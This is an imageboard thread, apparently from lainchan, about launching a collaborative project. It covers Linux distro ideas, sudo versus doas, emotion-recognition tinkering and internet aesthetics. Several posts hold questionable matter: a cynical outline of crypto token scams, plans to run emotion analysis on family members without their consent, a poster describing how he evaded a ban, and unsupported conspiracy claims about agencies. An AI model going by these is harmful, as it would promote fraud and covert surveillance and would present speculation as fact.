>>78747 I forgot to ask if you heard of Project Trident before. They had similar goals as you but lacked developers to continue on. https://beanpole135.github.io/profile-website/project-trident They were originally basing on FreeBSD then changed their mind trying to get wider hardware suport and switched to Void Linux based https://itsfoss.com/bsd-project-trident-linux/ I dont agree with all their choices though like sudo has risk of privilege escalation whereas doas is supposedly easier to use ive heard and less attack surface from being simpler. Someone correct me if i am wrong. Sudo is just what youd use if you want multiple users on one computer. Just some random link explaining what I mean on sudo being exploitable. Sudo obviously should be an option for who need it but I dont even know many people who have multiple logins, usually when people share computers that ive known they all used the same user login but maybe it is different some places. https://book.hacktricks.xyz/linux-hardening/privilege-escalation Though this person on Stack Exchange does make a point that doas on Linux isnt as secure as it is on BSD because it does persistence different. https://security.stackexchange.com/questions/255286/how-is-doas-with-persist-less-secure-than-sudo However we've seen the opposite occur too like Hyperbola Linux is switching from Linux to OpenBSD based. Those devs seem to be weirdly ideological about licenses though. Id also suggest looking at non Linux systems like ReactOS, Haiku, Redox, ToaruOS, SerenityOS etc to get an idea of all the different ways to do things. Though if I heard correctly if you are using Linux From Scratch it basically confines you on some of the things you can do, i could be wrong. Not sure if we are being any bit helpful to you or just giving you a lot of noise. Lol

Hi guys, OP again. There looks to be a lot to catch up reading on, and hopefully I'll be able to do so soon. I've been busy with looking into history, economics, MIT courses in general, and working to increase my wisdom in preperation to get a job in real estate in order to fund more expereince towards my passion to make money. Through the financial freedom I will achieve, projects like these will become more possible through centralised means, however, after truly understanding the cult like preference for cyber security and freedom that exists within the lainchan and computer science community as a whole, rather than just ebign an idealistic anime fan from the outside who was wishy washy about that stuff before, I also would like to contribute my focus towards these issues in a world that is more and more gripped by powerful control freaks. However, I lack the knowhow and skill in order to start working/contributing to such projects myself, which is why I have been studying hard ever since just as planned. I would like to be able to speed up this grinding phase through seminars and shared projects to do with studies of interest, but I had struggled with tryign to maintain my sense of personal relationship and sentimentality for such purposes, rather than relying on the addictive urge to indulge in vastly connected curiousities, which has its good and bads. As things are now, I'm looking into blockchain for the first time, and hopefully, as I try to learn everything there is to money in relation to my inspiration to become a master at all things money in general, I should be able to gain some technical skills at long last in pursuit of such experience. Once I grasp a compitent level of economic and computer science knowledge, my own contribution and devotion towards a project that comes from this thread that I started will no longer be just talk about starting a vision, but an active engagement towards the devoted success of one. I hope everyone is doing well and passionately using their already aquired technical skills in order to explore these shared passion projects that were started in this discussion. If anyone has made it this far, I would like to ask: What do you guys think would be worth exploring as a field of interest in order to learn more about money, apart from MIT courses, getting a job in real estate, and learning about blockchains and world history?

>>77449 asynchronous vr discussion: someone's avatar says something, and their words and movements are saved as a recording. then other people come along and respond to the recording, thus leaving recordings of their responses. to a passerby, all of the recordings put together look like a complete conversation, though everything said was recorded at random different times. thus it's like a full-motion forum or messageboard.

>>78754 To get rich quick, look into psychology, marketing, business, use it to become a charismatic vaporware salesman, overpromise and underdeliver. Unethical, but it's proven time and again that it works. Witness the gullibility of the human race, the lack of critical thinking (Nikola Motors): https://www.youtube.com/watch?v=1oqqnkkTKVM, check out Theranos: https://www.goodreads.com/book/show/37976541-bad-blood If you wanna know about blockchain, that is exactly what all cryptocurrency projects do. >develop some bullshit crypto application, most likely clone an existing one >print a few million coins out of thin air for $0 >wage slave the token to unwitting investors on twitter, discord >sell the coins to these poor souls Very low risk compared to starting a real company as you are almost guaranteed a return on investment and then some. As long as your UI is slick and the product sort of works for a while. Alternatively, don't even have a product, just promise one, like all the web mockups, the NFT games demoing Unreal default assets, or all the scam CGI trailer GoFundMe projects. It should be illegal as 99.9% of crypto coins are actual unregistered securities whose value hinges on a single tiny company. It's basically a rerun of all the the early 1900s stock fraud schemes. Lawmakers are either clueless retards or allow it on purpose. In crypto, wage slave concepts like: >muh decentralization (in reality one guy on your team can steal the $20M in the protocol) >muh open source (in reality without your proprietary web app and bots the whole protocol would stop working) >muh voting, power to the people (team holds majority of tokens and can sway most people via social media anyway) By the way "blockchain" is pretty much just a .txt file that you can only append to, for example: >| >| op | >| op | not-a-froggot | It's interesting and there's a lot of math behind it and some legit use cases on top of it (Bitcoin's e-mail style money, Ethereum's smart contracts), but the buzz is because of the get rich quick schemes. Nobody is psyched about Tor or I2P or fracking torrent DHT because there's no cash grab and casino aspect for the normal people.

>>78748 >>78752 You've given me some soykaf to think about at least, personally I like the idea of restructuring the typical linux file system to be more user friendly. I guess the main thing I want to focus on would be making a distro that has all the answers available (either through CLI manpages or a GUI manual) for beginner and intermediate users, so they don't have to dig through google searches and reddit/quora/stackoverflow posts from years ago that may or may not be the actual solution to their problem. I like the idea of getting people used to working in the terminal too, since it's a very powerful and clear-cut way of interacting with the computer, but Bash is kinda soykaf and I would love to create some kind of terminal system that is easier for a beginner to explore - something more like a text-GUI (using ncurses probably), capable of showing various options and allowing commands to be undone just as easily as they're executed, so a noob can unfuck their fuarrrkup if they type in something stupid. A simpler way of creating GUI applications and games would be nice too, some kind of unified media (GUI elements, audio/video/image codecs, 3D rendering, etc) library that's properly integrated into the OS and uses the native OS scripting language would be ideal, that way the user only has to learn the scripting language and maybe some C in order to create useful programs.

>>78965 I had seen a YouTube video that talked about the idea of a GUI for the terminal and the flaws in it were covered. It looked kinda messy to me too so it would be difficult to design well. https://www.youtube.com/watch?v=k6nPuPOu3XU I think there is a command for showing your options, if so you could just make it appear by default in certain situations (im not sure if ZSH or FISH or whatever can already do this when set up or not) or have buttons below the terminal to make it input the command for the user so they dont have to memorize it but can still see what is going on if they know how to do this stuff. I was doing reading on kernels. It seems Windows and macOS both are hybrid kernels but Linux seems to always be a monolithic kernel as far as i am aware. Monolithic kernels have the issue if a driver fails it can crash the entire kernel which is especially a problem if someone is trying to use unblobbed drivers that might not be working well. Only unix like hybrid kernels ive heard of are XNU (this is what macOS uses as it is part of Darwin) and Dragonfly kernel which is from DragonflyBSD. There was a mkLinux which is a discontinued microkernel and there is GNU / Hurd also I think is also hybrid kernel but it isnt really currently stable as far as I am aware there was a version of Debian being worked on having it run from what i heard. GNU / Hurd is what originally was supposed to be the kernel of what is currently known as GNU / Linux. So you could look at those to figure out how difficult it would be to make a hybrid kernel out of the monolithic Linux kernel to see if the extra effort is worth the added stability of putting drivers into the userspace. I assume a microkernel isnt enough for modern computing or it would be more common. Also I discovered Bedrock Linux which is a simpler setup than Linux from Scratch though insecure because it has a large attack surface. It basically is a distro for Frankensteining an OS together if i understood it correctly. You probably wouldnt achieve your goal as much using this method, just worth mentioning since it has code for making certain things work together that normally would be incompatible supposedly anyway. About problems with program format i later learned it is just all ELF files in different package wrappers. If there was some way to just on a right click or on first open automatically when prompted strip and repackage different formats into whatever and maybe able to run straight ELF files that might be useful to prevent having to redownload or recompile programs when switching Linux distros instead youd just change the packaging, i may have understood this wrong though, i know when i was looking at GoboLinux they gave these complicated instructions on how to alter programs because they lack a package manager which is far from convenient at all. Then sandboxing and containerization would be handled by the OS itself i think would make sense but im not sure. I assume youd have to be careful making something that makes building programs easy as to not have malware exploit it. I am not sure if it needs to be integrated directly into the OS though, does it? I did come across an interesting programming language in development called Red which can do quite a bit of stuff with short lines of code because it has DSL and scripting functions but also planned to do low level stuff. I am unsure it is ready to make an OS with though at this stage and few programs currently use it since it isnt very old yet. https://www.red-lang.org/

I've been working with DeepMind facial recognition and emotion and trying to build something to aggregate data to help with public speaking, interviewing, and emotional mapping and awareness based on current psychology behind autism. It's not going as far as I'd like. It works and is pretty accurate, but if somebody wants to get better at public speaking, they can probably just record themselves and analyse it manually. As for autism, it would require me to look way more deeply into how the current psycholoy methods are. I'm going to play with EEGs and I'm trying to find something affordable. As well as voice emotion recognition. Maybe after learning everything and with everything combined, I can start thinking of more ideas. Any ideas, anons?

>>79008 Autism has some relation to problems with mu waves so you can use neurofeedback instead of copying an episode of The Big Bang Theory. https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2709976/

>>79010 >The Big Bang Theory Sorry, I'm not aware of pop-culture references. I'm not very certain what you are recommending me but I have skimmed and bookmarked the article. FYI there is no ultimate goal in mind with these projects other than tinkering with EEGs and APIs like DeepFace and OpenSmile. I just brought up the autism thing because I had a few speech pathologists and the owner of a school for autism for children interested but I'm quite a busy student so it's for soykafs and giggles. However, I could use any information because it's fun.

>>79011 It just kind of sounded like you wanted to make a device to read emotions off of people. Is that so? Im a bit unclear on how you intend to use that, to analyze the audience or the speaker? Because I dont think that really is the best approach, there is a few reasons why such as how culture influences peoples expressions and people with more prominent brow ridges if they are viewed with heads down it looks like they are angry so it can give false readings easily. I think you need a clear goal in mind to really be able to make something.

>>79013 I'm just learning and familiarising myself with the technology. Right now, it just reads on my own face, and I plan to just play with it and collect data on myself and practice giving speeches and whatnot. I wrote a sliding queue since it reads 6 emotions per second and I want to somehow make it so I can scan and read other people's emotions by wearing a Raspberry Pi somehow with a camera. This could definitely help me because I often miss social cues that I could go back later and analyze through conversation. Also to irritate my family members and constantly have algorithms on them. Even if not feasible, I'm still interested in trying and learning since I'm a student. As for EEG, the student who took first place from me at my school used EEG to pause YouTube videos when a lack of state of focus is apparent. (My idea facial emotional analysis and spoke to people familiar with autism therapy, some for children, and just did a proof of concept by improving on existing industry methods. Nothing programmatically superb either). So yeah, just gonna tinker with EEGs, DeepFace facial emotion recognition, and OpenSMILE voice emotion recognition, and work on my emotional expressivity, knowledge of python, prank/annoy my friends and family members somehow, and then eventually just move on to more impressive ML projects for my resume. It's mostly a fun thing. I have school, I have work at a start-up, and I'm helping another friend build a start-up, so these are definitely not specfically goal-oriented, but I wouldn't mind finding goals out of this exploration!

>>79015 I don't know, it just feels iffy pointing a camera at people without their permission especially if recording it to view later. Having to look at the screen of some device only takes you away from the moment. If anything you need a tactile feedback instead. Like if someone is upset it can give you an electric shock but if good mood a gentle vibration maybe or something else that might feel good. Sort of an augmented sense.

>>79016 >I don't know, it just feels iffy pointing a camera at people without their permission especially if recording it to view later. Yep, and my family and friends will be subject to it xD. >Having to look at the screen of some device only takes you away from the moment. If anything you need a tactile feedback instead. Like if someone is upset it can give you an electric shock but if good mood a gentle vibration maybe or something else that might feel good. Sort of an augmented sense. Yep!

>>78965 Did you ever get started on the OS build or still waiting on your computer to arrive? >>79017 Did you get anywhere with this?

Hi guys, back again (I'm the OP). I have been studying and learned a fair amount of computer science to get the necessary inside knowledge to be able to come up with an actual practical plan on how to have a genuinely passionate shared aim. Before any sort of consideration for team psychology, which I have planned for also, we need to re-ignite the potential of our Lain-Chan community to collaborate on a git repo project together that is at the same level as the next bitcoin, linux kernel, github, etc, open source forces of nature DISCOVERED and portrayed through our collaboration to move society in a greater direction whether in terms of web evolution such as the progress between web3 to web4 concepts, or outside of the internet and move into other fields such as open sourcing robotics, medicine, general communication with a better competing internet, quantum mechanics exploration for the ideas that nature would inspire rather than trying to mold the potential of this law of nature around the singular and narrow potential of quantum computing that may not even be possible, etc. I hope we can make a fun and liberation orientated design/project that will also help us overcome the current obligatory responsibilities within our lives that demand our attention, whether it may be the requirement to achieve financial freedom, resources, network, etc. Please let me know your ideas since the last we attempted, and before I continue to make a series of response comments, I will be catching up myself at last on what has been said by everyone else so far within this thread since last I spoke. PS, aesthetically for case of inspiration, I believe that ideas can be better generated in reference to art that gives us intrinsic value from varying contexts. Preferably values that overlap with a shared sense of hope, faith, passion, love, innocence, and excitement if this were a venn diagram. My own ideas so far after gaining inside knowledge are the following: - Hologram fashion accessories for men and women (like a halo aesthetic, inspired by blue archive) - an open source video game project that pays creators in the same way that roblox, fortnite, and minecraft are semi-metaverses but this time a metaverse that is run by the people at the very foundation - Aiming towards easily accessable chip manufacturing via a all use easy design 3D printer that is capable of making 1nm sized chips as a standard (this will require knowledge on computer architecture, which I am still studying) - Trying to design a new way how bits are converted into computer logic in the most mathematically efficient way. - Creating an alternate form of creating a bit that is more efficient and cost effective than a semi-conductor (such as using photonics, light, instead of electronics, electricity, in order to switch a bits between 1s and 0s) - A video game franchise at the same level of iconic as touhou, Draken-NieR, and Metal Gear Solid in order for those who are the lead designers of such franchises each are respectively given icon vibes in the public perception - as a consequence of the pure approach to the passion that drives such original icons in the first place. - NANOMACHINES SON! - grow the potential easy to interpret study material for high level fields of interest within the collective consciousness, such as rocket science and human nature, through recurring symbols/memes in order for these high level concepts to become common sense, planted into the collective consciousness through trending media that includes these recursive symbols, such as video games.

The best approach I think we should have if we want to be truly innovative is the same line of questioning that Nietzsche had towards western philosophy, and that's trying to figure out the destiny of the field (in this case computer science) based on the culture that follows the design principles and schools of thought that influenced the mainstream offsprings of the original technology, in this case majority branch off of unix; and then deciding if this destiny is desired or not and coming up with alternative origins of innovation. All origins of innovation however come from human nature however, that will never change: - The internet innovates on the human ability to communicate. - Computers innovate on the human ability to simulate/test imaginations. - AI innovates on the human ability to delegate work in collaborations of personally customizable skill-sets. - Cryptocurrency or online banking innovates on the human ability to trade real world money specifically (in this case, money is the branch - not necessarily the only branch - of innovation on the human nature to fair trade through the use of symbolism that is understood already by the collective consciousness). - etc. We need to either follow the trend of innovating based on human experiences as reference in order to create something that can become considered as a global agency, or we simply build off of other innovations in order to compete with already existing markets from a passion (and potentially decentralized *only* if it's circumstantially appropriate within the context of the shared vision decided upon) perspective. Do keep in mind that passion is the 'instead of' for egocentric/ideological dogmas.

Ok, done reading. Looks like a lot of tinkering and idea sharing has taken place, but still no certainly defined aim/vision. Now that the Lains have been silent here for a while, I'm sure that majority of the responses on this thread will be in relation to only what has been recently stated (so what I have just adressed). With that in mind, those who's attention has become drawn to this place for the first time or once again, I welcome you! I hope this second time around we will get somewhere. Right now for me, I am tinkering also but have been practicing within the context of visions of my own, such as working on a website, game engine, video game, and studying computer science. It sounds like too much to then on top of that commit myself to a shared vision, and that's because it is. If the shared vision proves to be more interesting, then I'll redirect my attention and include it within my schedule.

>>77438 >I would love to work on something like The Wired, or a company that can rival CERN, or create a lab with a group of friends who are wrapped up in their one echo chamber of the world not through the building of dogma but through the shared memories formed through personal experience. We did that back in around 2018, a bunch of randoms on a discord, mostly it revolves topics around tech, esotericism, and more of an extension of r9k (back when it was all about deep discussions /hum/ level and non-determinism that aligns with the robot9000 concept and not when it became a hub for gender-focused movements) Glows eventually got the memo and later these online uncensored and unfiltered communities discussing esoteric, scientific, technological, neocyberpolitical concepts eventually gathered a bunch of adepts and sages and astounding amounts of synchronicity which made them shut em all down, and later all /fringe/ imageboards got shut down except lainchan which is more about tech and pragmatic concepts with a little bit of Lain aesthetic (you get it, this site was not discussing extreme stuff and if it did it would get spammed), and the site was slow so it was safe. Today I still know where these communities' branches or limbs went out to flourish but it was the glow's greatest mistake to do so as the containment for all of the other extremists went out on mainstream social media and now it got out of hand (well deserved, glows). now enough the prologue, we're here in one piece anyway I think that it is possible to do that but I fear that discussing the specifics would sabotage the outcome, it's kind of like how companies discuss things in secrecy, you never know.

>>80624 Not sure if my next post would get deleted but I'll say something about 8chan, it was just minding its own business, agdg (amateur game development general), and people making robots, then there's also ones focused on software like hydrus network and other alternative tech that the devs just happen to have thought "cool an imageboard where you can create one for yourself" so they made it their own bulletin board system and also feedback system but glows tried to kill the site since it was hub for those other political agendas that most users don't even bother with since the users aren't even American (like myself) and so after time and time DDoS and shutdowns and hosting and DNS disputes the users just left and went on with their lives but turns out you can't quell what they started by just silencing their platform and now all kinds of those ideas are out on places like Tiktok or Youtube, I can sense it these people used to make webm threads are now making these videos with their faces and other stuff now this created another novel aesthetic the Fashwave as they call it, now let's not stray further from discussion but that's a lesson in chan history one might want to know. I think it depends on your upbringing. Most bigtech bigcorps and marketing agencies for content are trying to capitalize nostalgia marketing. It's the reason they reversed the new logos to old ones like the Pepsi logo where they spent millions of dollars ditched for the older logo and the reason for that is Nostalgia Marketing. You will see the gen Z lainons while I don't hate them I think they're trying to fit in with nostalgia and are exposed with y2k aesthetics and mainstream music artists (e.g, 1st pic rel), mainstream social media, are all weaponizing this y2k and it's not bad to my perspective since it can help bring back such aesthetics though there is a problem: The current platforms do not align with the past aesthetic - not in the slightest. Current platforms the smartphones, the TV, modern PC, all do not align with the old. The current web is way too modern but the nostalgia marketing attracted more gen Z into these things like neocities which to me seems a little too different when I was still surfing geocities on a mobile phone. Retro aesthetic, is not exactly an aesthetic but the limitation of the old technologies, we weren't HD back then, it's only when we switched to high ppi retina (iphone 4) is when we all decided to kill it, there's a reason HD games and retro games feel a lot different, it's harder to draw the pixels with larger a canvas/screen. Now next to it we turned to dark patterns, all these smart devices have dark patterns and is hyperfocused on the "data". The old platforms do not focus on that and if you did you'd be called an adware or tracker spyware but Google normalized it so much but it's not all that bad, they offer services for free too so it's not that bad (e.g, they are the freer alternative to Apple products). Now that said it's still a challenge to bring it back, and bring back the personal computing and non-onymous culture however there is a growing trend towards it mainly thank discord, even facebook is now allowing some semblance of anonymity and yes we're moving against the anti-nsfw. I remember back when I was still on geocities there's plenty of nsfw content, even places like mobile games had nsfw games, nsfw flash games, etc. and compare that to apple and play store - it's a huge difference! So all in all the platform to be is none other than pic related. Steam allows nsfw, Steam is going against the norm and holds the candle or the spirit of "x86" by being better than the modern-era Windows so that said the only viable platform is linux to bring back the past. I think I already have the platform, I had my vision, I experienced geocities firsthand, the magic of xhtml4, the magic of freedom in retro-esque handheld gaming, it's all coming back together and I'm simply here to inform you of the good news. Present Day, Present Time! AHAHAHAHAHA!

>>80624 > I fear that discussing the specifics would sabotage the outcome These were the fears of the people on here from the start, and yet those fears were still fulfilled despite addressed. However, I have hope that this time as an individual I will be able to act with the sense of responsibility directed towards a clearly intrinsic and intuitively decided upon aim I am at least receptive enough to be sentimental towards, and hopefully by leading through example and displaying the ever growing story of what we begin here, others too will join in on the project. (I can imagine we will end up moving to discord at some point, but I have no experience or idea with sharing info without sacrificing animosity.) >gathered a bunch of adepts and sages and astounding amounts of synchronicity What do you mean by this? Now I'm curious. >>80626 So basically the problem is that the difference between nostalgia and the origin of the things that we are nostalgic about is that the aesthetic that is associated with the significant memories that the collective consciousness share and so many years later yearn to scratch the same itch can be done through the creation of the same or any new contextual experiences that give the same intrinsic value/emotional-reaction. The culture of the world changed, not just the west, and in order to create a culture with the potential for such emotional reactions once again we need to have the situation that allows for the same hopes and specific things we placed our faith into that inspired us. Our faith back then specifically would have been the exciting presence of genuinely fun, romantic, and powerful personifications and actualization of this human experience whether reflecting in our technology, art, celebrities, and way of speaking. Now today is similar to a 21st century renascence, where even though we aren't in the 2000s-2010s like those in the renaissance period were not in Ancient Greece, the art from back then carries the intrinsic values that were possible within the culture of the time. So, in order to bridge the gap between nostalgia and genuine culture, we need people who view existence in the same way as the way that we ourselves yearn to view the present moment reinforced by the things that happen TO these observers, and it is through these people who remain true to themselves regardless of the state of the world around them, grounded in a view of existence that they feel a sense of belonging to, who create the things that can reinforce the same perspective in others. Sounds to me we have on our hands the formula to make an ubermensch, and every possible type of ubermensch at that. As for how this will apply to what sort of things we will be making here in order to shape the culture of the collective consciousness for as long as we are alive, our view-of-existence/shared-vision should be something that we have a common interest for. Although we are technically capable of all forms of interests so long as we are receptive to the various types of intrinsic values that inspire us through sources such as art, we need to find one that we prefer in the present moment and remain true to in order to not have other possible views of existence that are equally as valuable in their own unique way distract us from this life story/phase, at least until we succeed at SOMETHING! PS, no values/views-of-existence that include hate as a pillar for motivated action (unless justified because of a CORRECT diagnosis of the situation of the present moment) are going to be condoned. All actions have to be coming from a loving archetype instead regardless of the situation, because if there is reliance on 'necessary' evil, then keep in mind that as you play the role of judge, that judges too can be judged. (I'm gen Z btw)

>>80634 > are going to be condoned. I MEAN CONDEMNED! CONDEMNED!!

>>77445 > make VR forum software, a bit like BBS's or something. Already happened. I think it was in a thread on one of the satellite boards post 8ch era. It was quite a fun implementation by an anon. Quake style graphics in a 3D maze-like first person game where the posts were put on the walls. I can't remember much else, other than it was quite comfy at the time.

>>80624 >now it got out of hand (well deserved, glows). >containment closed >Pandora's box opened I warned them at the time, we all knew this. They never listened. They never do. They never will. Now even little Brads in grade school are throwing up unironic Romans. lel

>>80616 >grow the potential easy to interpret study material for high level fields of interest within the collective consciousness How about we do a deep dive study and mind map with easy to understand textbook doc>>80616 umentation for everything TempleOS and HolyC in contrast to other electricity engineering and computer science architectures? Then afterwards we can create more mind maps inside and out in order to make grander concepts to be easily educated/accessable for the collective consciousness. As for the aim of educating ourselves with these topics within the context of intrinsic value instead of just simple intrigue, the inspired, motivated action would be directed towards the placed faith in the living potential of the dream to create something as cool as hologram fashion accessories, public transportation to the moon, 3d printed archetecture, truly OWNING our own individually designed from kernel and hardware-up computers, and straight up mechs.

>>80666 Perhaps we could just use FPGAs instead of printing own chips, they are not as powerful as consumer grade pc CPUs, but perfectly suitable for microcontrollers or accelerators. It's a step down on independence, but would allow to quickly implement new architectures.

>>80667 Thank you so much for mentioning this! I’ll definitely look into it.

>>80634 Visual representation in fashion, object/things, hairstyles, are all subconscious choice. A group that basks in the grotesque will eventually emerge with visual concepts that they lack. something as figurative as a certain hairstyle that evokes a sense of beauty would emerge from that groups' subconscious. In similar way the opposite happens, a group that basks in beautiful structures will eventually arrive at concepts that are grotesque or seems rebellious or asymmetric. It's mostly a balancing act - yin and the yang. All these nostalgia marketing that the bigcorps are on the boat is artificial though it evokes a sense of completeness (e.g, fixation of y2k neoculture on keypads or qwerty phones in an era of sleek smartphone) - this is how fashion recycles however it's not exactly the same, the current y2k or old aesthetic is also mixed along with other concepts making it its own twist or more of a "remaster". There's no need to try to find the next generation "genuine" aesthetic. It's already here in the form of neonpunk (nighttime) and solarpunk (daytime) which I believe is the rightful transition from the "material". I believe that there will be fixation on foliage, and glass-and-light dynamic aesthetics so it's more of a solar-aero aesthetic also due to growing health and environment concerns and the current war+atrocities there will be also renewed fixation on zen and peace so it could be both or the two (and zen is minimalism so we may see an extension of the material design language too but more zen-ish). That said genuine culture is something that we really cannot control but simply embrace and I think that's how certain design languages come to be. The bigcorps can capitalize on the y2k but when it becomes too relevant it starts becoming less "nostalgic" as it's everywhere. Now they're also making up new concepts such as Newstalgia or Nowstalgia which is just mental gymnastics with guesswork at this point. >>80634 >(I can imagine we will end up moving to discord at some point, but I have no experience or idea with sharing info without sacrificing animosity.) Not a good idea. Discord is not easily archivable, but also it's not immune to destabilization techniques like with what happened before. >>gathered a bunch of adepts and sages and astounding amounts of synchronicity >What do you mean by this? Now I'm curious. As simple as it sounds, assembly of people in-the-know sharing their findings, observations, and teachings. These kinds of groups are heavily frowned upon by those destabilizer glows which I think is the biggest issue if you're trying to do something meaningful, they just show up and don't like the concept there's diverse people in assembly that seems like they're intelligence agencies or fraternal organization - also they label you as terrorists or they somehow try to instigate such acts and then self-report (Among Us;The Game) to their whatever bureau so they have something they can report to and get taxpayer money. It's kind of a scam now they have plenty of things to do with all those tiktokers that came out of Q I think it's well deserved and it's probably safer to just do it on public imageboards. Better safe than one agent trying to paint a discord server as some sort of terro group but it's all just them doing all the dirty work and server got deleted since one of them convinced someone underage to become Ted. Either way it's safe to just communicate here. I'm just letting them know that I'm on to them and I'm tired of their soykaf.

>>80672 > It's already here in the form of neonpunk (nighttime) and solarpunk (daytime) which I believe is the rightful transition from the "material". My belief differs. Although the trend within the collective consciousness could be moving statistically in that direction, the reason why any sort of spirit can be reflected in aesthetics in the first place is because of an individual’s view of existence that is influenced by any sort of inspiring or informative information. What determines whether or not one view’s of existence that radiates the presence of the same world that the individual feels a sense of belonging to, to the degree that it grabs the attention and influences the view of existence for others and in turn the culture, is dependent on whether or not the individual with their unique view of existence - that is a Frankenstein of intrinsic values associated with contextual relationships - (…such as if someone were born into a family who watched only medieval movies and display signs of affection and love in response to the killing of animals because of the context of a “good hunt” in contrast to how some people would feel about that today due to the lack of emphasis on that association with the intrinsic value that would only be considered as good within specific contexts such as hunting as a sport). This means that although there is a ying and yang, they don’t alternate or balance, but instead are aspects of the truth that always remain, but only certain categories within this one truth makes up the perception for the individual. This is why conflicts are inevitable between different archetypes and egos that are made as a result of the persisting tendencies with people who are lost who once had the immersion within a particular archetype, because when debating (for example) there even morality is being compared from the lens of a single category within this ultimate truth, and although some existential possibilities and intrinsic values can share similarities between archetypes due to context and relationships, differing contexts and relationships are the whole reason why differing archetypes can be possible in the first place, meaning that putting ourselves into the shoes of others from the limited perception of a single view of existence or limitations of ego that can possess us will have us also having different preferences, and in-turn what certain aesthetics we gravitative towards to. > genuine culture is something that we really cannot control but simply embrace and I think that's how certain design languages come to be. Let’s say that a person perceives the present moment to include their sense of being Alone WITH the presence of the moon. Let’s also say that this person has amnesia so that way no sort of contextual/educated/reactive-association will influence the intrinsic reaction towards the presence of the moon. The moon’s presence objectively from the perspective of a pure observer without even an identity/archetype would feel the significance of the proximity, the size, the mystery, the potential, and this sense of significance would only be possible if the experience feels New instead of something already made familiar with. Now, how is it that children are able to watch the same movie 10 times in a row without getting bored from the repetition? It’s because the present moment is always New regardless of the knowledge they bare. So, if you are Alone WITH the presence of the present moment, whatever that moment may be, and perceive things as pure/childlike as an amnesiac, unburdened by your knowledge, then you’ll be able to see things for just the way they are instead of relying on the nurturing of sensing a logically defined beauty and morality through socialisation or education.

(testing) This is OP, and while I was attempting to send multiple replies in this thread I was only able to make a single response at the time because I was derezzed for being called a spammer. I connected an ethernet cable for the first time in my life, so if you are seeing this, I managed to bypass the ban.

>>80621 Should we make some sort of group chat on lain irc or something? Maybe we can discuss and organize in real time and decide on something before beginning a project

>>81121 I would love to make an irc, but I don’t know where to begin. If an irc has already been in the works for the pain community, can you please share the instructions to join?

(This is the continuation of what I attempted to say last time before getting b@nned temporarily. Part 1) >>80672 > It's already here in the form of neonpunk (nighttime) and solarpunk (daytime) which I believe is the rightful transition from the "material". My belief differs. Although the trend within the collective consciousness could be moving statistically in that direction, the reason why any sort of spirit can be reflected in aesthetics in the first place is because of an individual’s view of existence that is influenced by any sort of inspiring or informative information. What determines whether or not one view’s of existence that radiates the presence of the same world that the individual feels a sense of belonging to, to the degree that it grabs the attention and influences the view of existence for others and in turn the culture, is dependent on whether or not the individual with their unique view of existence - that is a Frankenstein of intrinsic values associated with contextual relationships - (…such as if someone were born into a family who watched only medieval movies and display signs of affection and love in response to the killing of animals because of the context of a “good hunt” in contrast to how some people would feel about that today due to the lack of emphasis on that association with the intrinsic value that would only be considered as good within specific contexts such as hunting as a sport). This means that although there is a ying and yang, they don’t alternate or balance, but instead are aspects of the truth that always remain, but only certain categories within this one truth makes up the perception for the individual. This is why conflicts are inevitable between different archetypes and egos that are made as a result of the persisting tendencies with people who are lost who once had the immersion within a particular archetype, because when debating (for example) there even morality is being compared from the lens of a single category within this ultimate truth, and although some existential possibilities and intrinsic values can share similarities between archetypes due to context and relationships, differing contexts and relationships are the whole reason why differing archetypes can be possible in the first place, meaning that putting ourselves into the shoes of others from the limited perception of a single view of existence or limitations of ego that can possess us will have us also having different preferences, and in-turn what certain aesthetics we gravitative towards to. > genuine culture is something that we really cannot control but simply embrace and I think that's how certain design languages come to be. Let’s say that a person perceives the present moment to include their sense of being Alone WITH the presence of the moon. Let’s also say that this person has amnesia so that way no sort of contextual/educated/reactive-association will influence the intrinsic reaction towards the presence of the moon. The moon’s presence objectively from the perspective of a pure observer without even an identity/archetype would feel the significance of the proximity, the size, the mystery, the potential, and this sense of significance would only be possible if the experience feels New instead of something already made familiar with. Now, how is it that children are able to watch the same movie 10 times in a row without getting bored from the repetition? It’s because the present moment is always New regardless of the knowledge they bare. So, if you are Alone WITH the presence of the present moment, whatever that moment may be, and perceive things as pure/childlike as an amnesiac, unburdened by your knowledge, then you’ll be able to see things for just the way they are instead of relying on the nurturing of sensing a logically defined beauty and morality through socialisation or education.

Yeah, ok, I guess it didn’t fix. Maybe after long enough and learning some cyber security in the meantime (learning about basic DNA stuff for now), I am no longer locked out? This is OP by the way. I want to make an IRC, anyone wanna join it?

>>83437 Not really. What do you want to discuss there?

>>83440 It was mentioned before on this thread that making an IRC would be cool for discussing and planning team projects through a communication platform that also satisfies our lack of trust for applications like Discord. So, what would be made next after the IRC is what would be discussed. A lot of time has passed though, so I doubt that point matters anymore, but I still hope to get something started each time I come back to this Chan.